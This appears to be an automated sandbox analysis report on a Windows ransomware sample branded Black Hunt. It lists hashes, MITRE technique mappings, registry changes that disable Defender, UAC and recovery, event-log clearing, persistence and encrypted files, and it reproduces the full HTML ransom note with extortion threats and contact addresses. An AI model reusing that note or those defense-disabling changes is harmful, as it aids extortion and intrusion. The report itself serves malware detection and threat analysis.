37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d

Analysis

max time kernel
121s
max time network
127s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18-01-2024 23:01

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General

Target

37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
Size

707KB
MD5

783addc5d6ad87ebf3e39ad53db37b54
SHA1

7733811970e0c323709ab38c064e7240ed1bfdd6
SHA256

37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d
SHA512

2feb5a7c57db0e892cfbcad3a12cd6a6ed6f2364ef127c06bf2ceb09d70d102c05ea82e5d0e2f00a37158e4f36593d3ab40767c294fc9cdb04375e41441a4138
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1N8xvnh:6uaTmkZJ+naie5OTamgEoKxLWglh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> AmN7l9EN1hbOHjf6 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
872	fsutil.exe
4188	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
4196	wevtutil.exe
4104	wevtutil.exe
4100	wevtutil.exe
3008	wevtutil.exe
4288	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2284	bcdedit.exe
2712	bcdedit.exe
3960	bcdedit.exe
3948	bcdedit.exe

Renames multiple (2903) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1060	wbadmin.exe
4112	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
4144	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\R:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\L:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\Q:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\O:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\N:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\W:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\B:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\S:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\K:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\X:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\V:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\G:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\Z:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\M:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\Y:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\U:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\I:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\P:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\A:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\J:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\T:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\H:	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_globalstyle.css	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\plugin.xml	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-attach.xml	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\DVD Maker\ja-JP\#BlackHunt_ReadMe.hta	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Taipei	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME.txt	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\epl-v10.html	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.nl_zh_4.4.0.v20140623020002.jar	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Rainy_River	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-2	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\vlc.mo	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_output\#BlackHunt_ReadMe.txt	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\mainimage-mask.png	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationLeft_ButtonGraphic.png	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\whiteband.png	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.commands.nl_ja_4.4.0.v20140623020002.jar	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\core_visualvm.jar	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\jce.jar	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Qyzylorda	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Cayman	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
